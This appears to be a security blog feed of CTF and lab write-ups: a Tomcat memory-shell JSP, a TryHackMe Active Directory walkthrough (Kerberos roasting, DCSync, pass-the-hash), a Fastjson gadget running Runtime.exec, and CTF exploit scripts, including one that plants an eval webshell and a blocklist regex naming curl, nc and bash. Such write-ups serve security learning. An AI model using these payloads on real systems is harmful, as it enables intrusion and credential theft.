String uri;
String serverName;
StandardContext standardContext;
public Object getField(Object object, String fieldName) {
Field declaredField;
Class clazz = object.getClass();
while (clazz != Object.class) {
try {

declaredField = clazz.getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField.get(object);
} catch (NoSuchFieldException e){}
catch (IllegalAccessException e){}
clazz = clazz.getSuperclass();
}
return null;
}

public Tomcat6789() {
Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
Object object;
for (Thread thread : threads) {

if (thread == null) {
continue;
}
if (thread.getName().contains("exec")) {
continue;
}
Object target = this.getField(thread, "target");
if (!(target instanceof Runnable)) {
continue;
}

try {
object = getField(getField(getField(target, "this$0"), "handler"), "global");
} catch (Exception e) {
continue;
}
if (object == null) {
continue;
}
java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
Iterator iterator = processors.iterator();
while (iterator.hasNext()) {
Object next = iterator.next();

Object req = getField(next, "req");
Object serverPort = getField(req, "serverPort");
if (serverPort.equals(-1)){continue;}
org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
this.serverName = (String) getField(serverNameMB, "strValue");
if (this.serverName == null){
this.serverName = serverNameMB.toString();
}
if (this.serverName == null){
this.serverName = serverNameMB.getString();
}

org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "uriMB");
this.uri = (String) getField(uriMB, "strValue");
if (this.uri == null){
this.uri = uriMB.toString();
}
if (this.uri == null){
this.uri = uriMB.getString();
}

this.getStandardContext();
return;
}
}
}

public void getStandardContext() {
Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
if (thread == null) {
continue;
}
if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
Object target = this.getField(thread, "target");
HashMap children;
Object jioEndPoint = null;
try {
jioEndPoint = getField(target, "this$0");
}catch (Exception e){}
if (jioEndPoint == null){
try{
jioEndPoint = getField(target, "endpoint");
}catch (Exception e){ return; }
}
Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");
StandardEngine engine = null;
try {
engine = (StandardEngine) getField(service, "container");
}catch (Exception e){}
if (engine == null){
engine = (StandardEngine) getField(service, "engine");
}

children = (HashMap) getField(engine, "children");
StandardHost standardHost = (StandardHost) children.get(this.serverName);

children = (HashMap) getField(standardHost, "children");
Iterator iterator = children.keySet().iterator();
while (iterator.hasNext()){
String contextKey = (String) iterator.next();
if (!(this.uri.startsWith(contextKey))){continue;}
StandardContext standardContext = (StandardContext) children.get(contextKey);
this.standardContext = standardContext;
return;
}
}
}
}

public StandardContext getSTC(){
return this.standardContext;
}
}
%>

<%
Tomcat6789 a = new Tomcat6789();
out.println(a.getSTC());
%>

Refferences

]]>
<h2 id="TL-DR"><a href="#TL-DR" class="headerlink" title="TL;DR"></a>TL;DR</h2><p>本系列主要是补以前落下的知识,参考了很多大师傅的文章,非常感谢师傅们的分享</p> <h2 id="Filter-Memory-Shell"><a href="#Filter-Memory-Shell" class="headerlink" title="Filter Memory Shell"></a>Filter Memory Shell</h2><h3 id="实例"><a href="#实例" class="headerlink" title="实例"></a>实例</h3><p>我这里使用的是idea 2021.2,maven quickstart</p> <p><img src="/2022/05/26/Java-08/1jxGI7ioBpMxiiPDgQ06oy_LFYKlup5yZjw6QsKDzN4.png" alt="image"></p>
TryHackMe Attacktive Directory Walkthrough https://jlkl.github.io/2022/03/02/Web-21/ 2022-03-02T12:20:39.000Z 2022-03-02T12:25:35.000Z Task 3 Welcome to Attacktive Directory

nmap扫描端口

image

enum4linux获取139/445信息,这个工具有探查端口信息,枚举用户名的功能

Text
1
enum4linux -A 10.10.28.202

image

What tool will allow us to enumerate port 139/445?

enum4linux

What is the NetBIOS-Domain Name of the machine?

THM-AD

What invalid TLD do people commonly use for their Active Directory Domain?

.local

Task 4 Enumerating Users via Kerberos

kerbrute枚举用户

Text
1
kerbrute userenum -d spookysec.local --dc 10.10.210.2 userlist.txt

image

What command within Kerbrute will allow us to enumerate valid usernames?

userenum

What notable account is discovered? (These should jump out at you)

 svc-admin

What is the other notable account is discovered? (These should jump out at you)

backup

Task 5 Abusing Kerberos

AS-PEP Roasting攻击,对于设置了选项”Do not require Kerberos preauthentication”的用户,可以离线爆破获取用户的hash

先添加dns记录

Text
1
echo 10.10.194.183 spookysec.local >> /etc/hosts

获取svc-admin TGT

Text
1
GetNPUsers.py spookysec.local/svc-admin -no-pass

image

hashcat爆破hash,这里m1芯片有点问题

We have two user accounts that we could potentially query a ticket from. Which user account can you query a ticket from with no password?

 svc-admin

Looking at the Hashcat Examples Wiki page, what type of Kerberos hash did we retrieve from the KDC? (Specify the full name)

 Kerberos 5, etype 23, AS-REP

What mode is the hash?

18200

Now crack the hash with the modified password list provided, what is the user accounts password?

management2005

Task 6 Back to the Basics

image

连接smb服务,获取文件,base64解密

What utility can we use to map remote SMB shares?

 smbclient

Which option will list shares?

-l

How many remote shares is the server listing?

6

There is one particular share that we have access to that contains a text file. Which share is it?

 backup

What is the content of the file?

 YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw

Decoding the contents of the file, what is the full contents?

backup@spookysec.local:backup2517860

Task 7 Elevating Privileges within the Domain

backup账户有DCSync权限,直接dumphash

Text
1
secretsdump.py -just-dc backup@spookysec.local

image

What method allowed us to dump NTDS.DIT?

DRSUAPI

What is the Administrators NTLM hash?

 0e0363213e37b94221497260b0bcb4fc

What method of attack could allow us to authenticate as the user without the password?

Pass the Hash

Using a tool called Evil-WinRM what option will allow us to use a hash?

-H

Task 8 Flag Submission Panel

pth执行命令

image

Text
1
smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc Administrator@spookysec.local

image

svc-admin

TryHackMe{K3rb3r0s_Pr3_4uth}

backup

TryHackMe{B4ckM3UpSc0tty}

Administrator

TryHackMe{4ctiveD1rectoryM4st3r}

]]>
<h2 id="Task-3-Welcome-to-Attacktive-Directory"><a href="#Task-3-Welcome-to-Attacktive-Directory" class="headerlink" title="Task 3 Welcome to Attacktive Directory"></a>Task 3 Welcome to Attacktive Directory</h2><p>nmap扫描端口</p> <p><img src="/2022/03/02/Web-21/iGpDs-dZvkOU1N62csbP7pmjkjrrrWH6U4UVO4dfIuw.png" alt="image"></p> <p>enum4linux获取139/445信息,这个工具有探查端口信息,枚举用户名的功能</p> <figure class="highlight plain"><figcaption><span>Text</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">enum4linux -A 10.10.28.202</span><br></pre></td></tr></table></figure>
Fastjson parse突破特殊getter调用限制 https://jlkl.github.io/2021/12/18/Java_07/ 2021-12-18T13:38:44.000Z 2021-12-18T13:51:29.000Z 众所周知,在 Fastjson中 parse 会识别并调用目标类的特定 setter 方法及特定的 getter 方法,特定规则其实总结起来就是一般的setter方法以及一般的返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong的getter方法

那么对于一般的不满足条件的getter方法能否进行调用呢

$ref 调用 getter

当Fastjson>=1.2.36时,我们可以使用$ref的方式来调用任意的getter

什么是$ref

$ref 是fastjson里的引用,引用之前出现的对象

循环引用 · alibaba/fastjson Wiki (github.com)

下面这个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.vuln;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Test {
private Integer id;

public Integer getId() {
return id;
}

public void setId(Integer id) {
this.id = id;
}

public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "[{\"@type\":\"com.vuln.Test\",\"id\":\"123\"},{\"$ref\":\"$[0]\"}]";
Object o = JSON.parse(payload);
System.out.println(o);
}
}

JSON.parse后的对象如下

image

$ref 的值是符合JSONPath语法的,详细可以参考:https://goessner.net/articles/JsonPath/

调用演示

Test.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.vuln;

import java.io.IOException;

public class Test {
private String cmd;

public String getCmd() throws IOException {
Runtime.getRuntime().exec(cmd);
return cmd;
}

public void setCmd(String cmd) {
this.cmd = cmd;
}
}

触发代码

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "[{\"@type\":\"com.vuln.Test\",\"cmd\":\"open -a Calculator\"},{\"$ref\":\"$[0].cmd\"}]";
Object o = JSON.parse(payload);
}
}

image

可以看到getCmd方法是不满足特殊getter条件的,不能自动被调用,这里突破了这个限制

调用分析

到getCmd的调用栈

image

首先分析fastjson对$ref 的处理逻辑

com.alibaba.fastjson.parser.DefaultJSONParser#parseObject

当遇到引用$ref这种方式,会增加一个resolveTask,留在parse结束后进行处理

image

com.alibaba.fastjson.parser.DefaultJSONParser#handleResovleTask

ref的value尝试通过getObject获取,这里获取不到,refValue为null,进入JSONPath.eval ,这是JSONPath解析函数,根据ref从value种获取对应的值

image

JSONPath.eval 最终会调用到getPropertyValue 函数,会尝试调用fieldInfo的get函数或者用反射的方式调用getter

com.alibaba.fastjson.serializer.FieldSerializer#getPropertyValue

image

image

为什么小于1.2.36 版本不行

1.2.35 版本为例,差异主要在

com.alibaba.fastjson.parser.DefaultJSONParser#handleResovleTask

要求refValue不为null,且必须时JSONObject类,根据上面的分析,我们的POC获取到的refValue为null,寄

image

JSONObject 调用 getter

当Fastjson<=1.2.36时,可以使用这种方法调用任意getter方法,和第一种方法刚好互补

这个方法来自于Tomcat BasicDataSource利用链,四哥的说法是这条链只能用于Fastjson 1.2.24及更低版本(是这个链的利用),可以参考四哥和kingx的分析

Fastjson BasicDataSource攻击链简介 – 绿盟科技技术博客 (nsfocus.net)

Java动态类加载,当FastJson遇到内网 – KINGX

调用演示

Test.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.vuln;

import java.io.IOException;

public class Test {
private String cmd;

public String getCmd() throws IOException {
Runtime.getRuntime().exec(cmd);
return cmd;
}

public void setCmd(String cmd) {
this.cmd = cmd;
}
}

触发代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\n" +
" {\n" +
" \"@type\": \"com.alibaba.fastjson.JSONObject\",\n" +
" \"x\":{\n" +
" \"@type\": \"com.vuln.Test\",\n" +
" \"cmd\": \"open -a Calculator\"\n" +
" }\n" +
" }: \"x\"\n" +
"}";
Object o = JSON.parse(payload);
}
}

image

调用分析

巧妙利用了JSONObject.toStringJSONObject 继承了JSON抽象类

com.alibaba.fastjson.JSON#toString,进行序列化操作,object 转 str

image

Fastjson使用ASM来代替反射,通过ASM的ClassWriter来生成JavaBeanSerializer的子类,重写write方法,JavaBeanSerializer中的write方法会使用反射从JavaBean中获取相关信息,ASM针对不同类会生成独有的序列化工具类,这里如ASMSerializer_1_Test ,也会调用getter获取类种相关信息,更详细可以参考

ASM在FastJson中的应用 - SegmentFault 思否

image

那么我们只要在反序列化过程中,找到一处可以使用JSONObject调用toString的地方就可以了

com.alibaba.fastjson.parser.DefaultJSONParser#parseObject

image

Fastjson在解析的时候如果遇到{,会加一层JSONObject,那么只需将key构造成JSONObject,类似{{some}:x} 即可

com.alibaba.fastjson.parser.DefaultJSONParser#parse

image

为什么大于1.2.36版本不行

1.2.37 版本为例

com.alibaba.fastjson.parser.DefaultJSONParser#parse

直接入口点掐了,不再调用toString函数

image

参考链接

]]>
<p>众所周知,在 Fastjson中 parse 会识别并调用目标类的特定 setter 方法及特定的 getter 方法,<strong>特定规则其实总结起来就是一般的setter方法以及一般的返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong的getter方法</strong></p> <p>那么对于一般的不满足条件的getter方法能否进行调用呢</p>
绿盟杯2021初赛 Writeup by 0xfa https://jlkl.github.io/2021/10/29/Web_20/ 2021-10-29T09:56:18.000Z 2021-10-29T10:01:27.000Z WEB

serialize

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(0);
highlight_file(__FILE__);

class Demo{
public $class;
public $user;
public function __construct()
{
$this->class = "safe";
$this->user = "ctfer";
$context = new $this->class ($this->user);
foreach($context as $f){
echo $f;
}
}

public function __wakeup()
{
$context = new $this->class ($this->user);
foreach($context as $f){
echo $f;
}
}

}
class safe{
var $user;
public function __construct($user)
{
$this->user = $user;
echo ("hello ".$this->user);
}
}


if(isset($_GET['data'])){
unserialize($_GET['data']);
}
else{
$demo=new Demo;

}

flag.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
error_reporting(0);
echo "/flag is not here! Baby~";

function check($info){
$filter_arr = array('system','flag','eval');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter, '', $info);
}

$profile['path'] = $_POST['path'];
$profile['file'] = $_POST['file'];
$fun_ser = check(serialize($profile));

if(strpos($fun_ser, 'log') !== false){
die();
}

$ser_info = unserialize($fun_ser);
var_dump(readfile($ser_info['file']));

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class Demo{
public $class;
public $user;
public function __construct()
{
// $this->class = "safe";
// $this->user = "ctfer";
// $context = new $this->class ($this->user);
// foreach($context as $f){
// echo $f;
// }
}

// public function __wakeup()
// {
// $context = new $this->class ($this->user);
// foreach($context as $f){
// echo $f;
// }
// }
}

$a=new Demo();

// $a->user='./*.php';
// $a->class= 'GlobIterator';
$a->class= 'SplFileObject';
$a->user='/proc/self/cwd/flag.php';
echo urlencode(serialize($a));

使用GlobIterator列目录, SplFileObject读文件
得出flag.php的源码,反序列化逃逸,然后post path和file得出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
echo "/flag is not here! Baby~";

function check($info){
$filter_arr = array('system','flag','eval');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter, '', $info);
}

$profile['path'] = 'systemsystemsystemsystem';
$profile['file'] = 'aaaaa";s:4:"file";s:5:"/fflaglag";}';


$fun_ser = check(serialize($profile));
var_dump($fun_ser);
if(strpos($fun_ser, 'log') !== false){
die();
}

$ser_info = unserialize($fun_ser);
var_dump(readfile($ser_info['file']));
//flag{3e1e6f1dba7622e67d5c674590fe8c3c}

寻宝奇兵

第一层

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

$SECRET="There is no treasure here";
if (isset($_COOKIE["users"])) {
if($_COOKIE["users"]==="explorer")
{
die("Explorers are not welcome");
}
$hash = $_COOKIE["hash"];
$users=$_COOKIE["users"];
if($hash === md5($SECRET.$users)){
echo "<script >alert('恭喜";
}
} else {
setcookie("users", "explorer");
setcookie("hash", md5($SECRET . "explorer"));
}
?>

$SECRET直接给出,构造hash即可

第二层:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}
mt_srand($_SESSION['seed']);
$table = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$pass='';
for ( $i = 0; $i < 24; $i++ ){
$pass.=substr($table, mt_rand(0, strlen($table) - 1), 1);
}
if(isset($_POST['password'])){
if($pass==$_POST['password']){
echo "<script >alert('恭喜你";
?>

伪随机数,跟着网上文章打就行:https://blog.csdn.net/qq_45521281/article/details/107302795
第三层

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
function is_php($data){
return preg_match('/[flag].*[php]/is', $data);
}

if($_POST['treasure'])
{
if(is_php($_POST['treasure'])) {
echo "<script >alert('这个不能拿走');</script>";
} else {
if(preg_match('/flag.php/is', $_POST['treasure'])){
highlight_file('flag.php');
}
}
}

?>

复现:https://blog.csdn.net/qq_38783875/article/details/85288671
拿到flag

mid

1
2
3
4
5
<?php
session_start();
include $_GET[1];
highlight_file(__FILE__);
?>

文件包含,直接session_upload_progress

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import io
import sys
import requests
import threading

sessid = 'testqwer2'

def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://119.61.19.212:57303/index.php',
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat /flag');phpinfo();fputs(fopen('/var/www/html/myshell.php','w'),'<?php phpinfo();@eval($_POST[whoami])?>');?>"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
)

def READ(session):
while True:
response = session.get(f'http://119.61.19.212:57303/index.php?1=../../../../../../../../var/lib/php/sessions/sess_{sessid}')
# print('[+++]retry')
# print(response.text)

if 'flag' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)

with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()

READ(session)

注意upload_progress好像有缓存,每次需要更换sessid

glowworm

/source

source 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
const express = require('express');
const bodyParser = require('body-parser')
const path = require('path');
const crypto = require('crypto');
const fs = require('fs');
const app = express();
const FLAG = 'flag{test_test}';

app.set('view engine', 'html');
app.engine('html', require('hbs').__express);
app.use(express.urlencoded());
app.use(bodyParser.urlencoded({ extended: true })).use(bodyParser.json())

var glowworm = [];
var content = [];

function sha1(string) {
return crypto.createHash("sha1").update(string).digest("hex");
}

app.get('/', (req, res) => {
const { page } = req.query;
if (!page) res.redirect('/?page=index');
else res.render(page, { FLAG, 'insect': 'glowworm' });
});

app.get('/source', function(req, res) {
res.sendFile(path.join(__dirname + '/app.js'));
});

app.post('/data', function(req, res) {
var worm = req.body;
content[worm.wing][worm.fire] = worm.data;
res.end('data success')
});

app.get('/refresh', (req, res) => {
let files = [];
var paths = path.join(__dirname, 'views/sandbox')
if (fs.existsSync(paths)) {
files = fs.readdirSync(paths);
files.forEach((file, index) => {
let curPath = paths + "/" + file;
if (fs.statSync(curPath).isFile()) {
fs.unlinkSync(curPath);
}
});
}
res.end('refresh success')
});

app.post('/', (req, res) => {
const key = "worm";
const { content, a, b } = req.body;




if (!a || !b || a.length !== b.length) {
res.send("no!!!");
return;
}
if (a !== b && sha1(key + a) === sha1(key + b)) {

console.log(glowworm.token1);
console.log(sha1(glowworm.token1));
//console.log( === req.query.token2);
if (glowworm.token1 && req.query.token2 && sha1(glowworm.token1) === req.query.token2) {

if (typeof content !== 'string' || content.indexOf('FLAG') != -1) {
res.end('ban!!!');
return;
}
const filename = crypto.randomBytes(8).toString('hex');
fs.writeFile(`${path.join('views','sandbox',filename)}.html`, content, () => {
res.redirect(`/?page=sandbox/${filename}`);
})
} else {
res.send("no no no!!!");
}
} else {
res.send("no no!!!");
}
});

app.listen(8888, '0.0.0.0');

两个点,第一个js数组的toString特性来绕过sha1的判断。
第二个,修改content的proto来设置不存在的token1值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /data HTTP/1.1
Host: 119.61.19.212:57302
Content-Length: 64
Cache-Control: max-age=0
Origin: http://119.61.19.212:57302
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://119.61.19.212:57302/data
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,ja;q=0.7
Connection: close

wing=__proto__&fire=token1&data=db695c5157f851223d6c03fa3e63ba53
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /?token2=1900dc271bb39160b01ba20b3fc247bd238cfcc3 HTTP/1.1
Host: 119.61.19.212:57302
Content-Length: 189
Cache-Control: max-age=0
Origin: http://119.61.19.212:57302
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://119.61.19.212:57302/?page=index
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,ja;q=0.7
Connection: close

a[]=a&b=a&content=%7b%7b%23%65%61%63%68%20%74%68%69%73%7d%7d%7b%7b%40%6b%65%79%7d%7d%20%3d%3e%20%7b%7b%74%68%69%73%2e%74%6f%53%74%72%69%6e%67%7d%7d%3c%62%72%3e%7b%7b%2f%65%61%63%68%7d%7d%0a

hbs模板注入信息泄露
https://threezh1.com/2020/12/28/华为HCIE的第一课%20Writeup/#hbs模板注入导致信息泄露

1
{{#each this}}{{@key}} => {{this.toString}}<br>{{/each}}

因为可以执行一定的系统命令,其他队的师傅还想到了直接tar打包全部的php的内容,然后下载。单个环境,写入的shell也非常容易被上车。

flag在哪里

首先思路是构造pop读getflag.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php
class begin{
public $file;
public $mode;
public $content;
public $choice;
public function __construct()
{

}
function __wakeup()
{
if($this->mode=="write"){
$this->choice= new write();
}
if($this->mode=="read"){
$this->choice= new read();
}
}
function __call($file,$content) {
highlight_file($this->file);
}
function __destruct(){
if($this->mode=="write"){
var_dump($this);
$this->choice->writewritetxt($this->file,$this->content);
}
else{
$this->choice->open($this->file);
}
}
}
class write{
public function writewritetxt($file,$content)
{
$filename=$file.".txt";
if(is_file($filename)){
unlink($filename);
}
file_put_contents($filename, $content);
echo "成功写入";
}
}
class read{
public $file;
public function __construct(){
// $this->file="test.txt";
// echo "欢迎查看 ".$this->file."<br/>";
}
function open($filename){
$file=$this->file;
if(is_file($file)){
if($file=="getflag.php"){
die("getflag.php没东西");
}
else{
highlight_file($file);
}
}else{
echo "文件不存在";
}
}
}


$a=new begin();
$a->file = 'file:///etc/passwd';
$a->mode = 'asdas';
$b=new begin();
$b->file= 'getflag.php';
echo urlencode(serialize($a));

调用begin的call方法,读getflag文件。

然后写文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<?php
class begin{
public $file;
public $mode;
public $content;
public $choice;
public function __construct()
{
$this->file = 'b0eacc6cb3904a848106501cda4d4f25';
$this->mode = 'write';
$this->content = '<?php system("cat _f_l_a_g.php");?>';
$this->choice=new write();
}
function __wakeup()
{
if($this->mode=="write"){
$this->choice= new write();
}
if($this->mode=="read"){
$this->choice= new read();
}
}
function __call($file,$content) {
highlight_file($this->file);
}
function __destruct(){
if($this->mode=="write"){
var_dump($this);
$this->choice->writewritetxt($this->file,$this->content);
}
else{
$this->choice->open($this->file);
}
}
}
class write{
public function writewritetxt($file,$content)
{
$filename=$file.".txt";
if(is_file($filename)){
unlink($filename);
}
file_put_contents($filename, $content);
echo "成功写入";
}
}
class read{
public $file;
public function __construct(){
// $this->file="test.txt";
// echo "欢迎查看 ".$this->file."<br/>";
}
function open($filename){
$file=$this->file;
if(is_file($file)){
if($file=="getflag.php"){
die("getflag.php没东西");
}
else{
highlight_file($file);
}
}else{
echo "文件不存在";
}
}
}


$a=new begin();
echo urlencode(serialize($a));

这里payload要做修改,将s换成\73,左右括号换成\28\29,content的中的s大写,大概这样。

1
O:5:"begin":4:{s:4:"file";s:32:"b0eacc6cb3904a848106501cda4d4f25";s:4:"mode";s:5:"write";s:7:"content";S:35:"<?php \73ystem\28"cat _f_l_a_g.php"\29;?>";s:6:"choice";O:5:"write":0:{}}

然后继续getflag.php,system可以用,但是直接搞flag的都被ban了,这里我们想到了php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
$a=$_POST['a'];
$b=$_POST['b'];
if(preg_match('/cat|more|less|head|tac|tail|nl|od|vi|sort|cut|ping|curl|nc|grep|system|exec|bash|unique|find|popen|open|ls|rm|sleep|chr|ord|bin|hex|dict|#|`|\$|\<|\(|\[|\]|\{|\}|\)|\>|\_|\'|"|\*|;|\||&|\/|\\\\/is', $a)){
die("hack!!!!");
}
if(!preg_match('/[a-z]/is', $b))
{
die("big hack!!!!");
}
call_user_func($b,$a);

MISC

签到

base64直接解?题目下线了,忘了

DECODER

三部分txt
flag_1.txt

1
2
3
4
5
GUZEQ3TTJVIWIQSFGVNGO5DHIVVWI===

base32 base58 base85

042f38b694

flag_2.txt

1
2
cipher:👉🦓🏎💵🕹🚪🎤🙃☂☀🌏🛩💵😇🚨🚪🎤👉🔪👣🐎✖☂🎤✉🔪😊🍎🚰🌪🚪🚹🍌🚰🎃🎤💧😎🥋🍎✖🎃👉🍵
key:👮👟👟👡👥👦

base100解key,whhjno
emoji-aes带上密匙解密,https://aghorler.github.io/emoji-aes/
Rotation设置36,解得b52bff9568
flag_3.txt
base91解码后发现base64隐写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# -*- coding: utf-8 -*-

b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

with open('base.txt', 'rb') as f:
bin_str = ''
for line in f.readlines():
stegb64 = ''.join(line.split())
rowb64 = ''.join(stegb64.decode('base64').encode('base64').split())

offset = abs(b64chars.index(stegb64.replace('=','')[-1])-b64chars.index(rowb64.replace('=','')[-1]))
equalnum = stegb64.count('=') #no equalnum no offset

if equalnum:
bin_str += bin(offset)[2:].zfill(equalnum * 2)

print ''.join([chr(int(bin_str[i:i + 8], 2)) for i in xrange(0, len(bin_str), 8)]) #8 位一组

37f267472516
拼接添加flag{}即可

huahua

改成zip文件头,然后补png文件头
直接修改高度得到flag

NOISE

out文件(010editor)直接放进AudacityPortable看频谱图

调一下大小,可以直接看到flag

RE

REEEE

1
2
3
4
5
6
7
8
9
10
11
import base64

alpha1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
alpha2 = 'RSTUVWXYZabcdefghijklmnoABCDEFGHIJKLMNOPQpqrstuvwxyz0123456789+/='

flag = 'BOxJB3tMeXV2dkM1BLR5A2Z3ekI2fXWLBUR0fUI2ekaMA2AzA30='

flag = flag.translate(str.maketrans(alpha2, alpha1))

print(flag)
print(base64.b64decode(flag))

HardRe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import base64

s = base64.b64decode('c2JWblhyX0dgQnk8RHBdNWdJVW1HazZ0NHg=')
ss = ''
for sss in s[13:]:
if ord('z') >= sss ^ 0x5 >= ord('0'):
ss += chr(sss ^ 0x5)
else:
ss += chr(sss)
for sss in s[:13]:
if ord('z') >= sss ^ 0xf >= ord('0'):
ss += chr(sss ^ 0xf)
else:
ss += chr(sss)
print(ss)

CRYPTO

签到2

凯撒密码

easyRSA

百度脚本直接出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import gmpy2
import libnum
from Crypto.Util.number import long_to_bytes

e=0x10001
n=101031799769686356875689677901727632087789394241694537610688487381734497153370779419148195361726900364384918762158954452844358699628272550435920733825528414623691447245900175499950458168333742756118038555364836309568598646312353874247656710732472018288962454506789615632015856961278964493826919853082813244227
c=59381302046219861703693321495442496884448849866535616496729805734326661742228038342690865965545318011599241185017546760846698815333545820228348501022889423901773651749628741238050559441761853071976079031678640014602919526148731936437472217369575554448232401310265267205034644121488774398730319347479771423197
dp=1089885100013347250801674176717862346181995027932544377293216564837464201546385463279055643089303360817423261428901834798955985043080308895369226243973673
for i in range(1,65538):
if (dp*e-1)%i == 0:
if n%(((dp*e-1)/i)+1)==0:
p=((dp*e-1)/i)+1
q=n/(((dp*e-1)/i)+1)
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)%phi
m = pow(c,d,n)
print long_to_bytes(m)
]]>
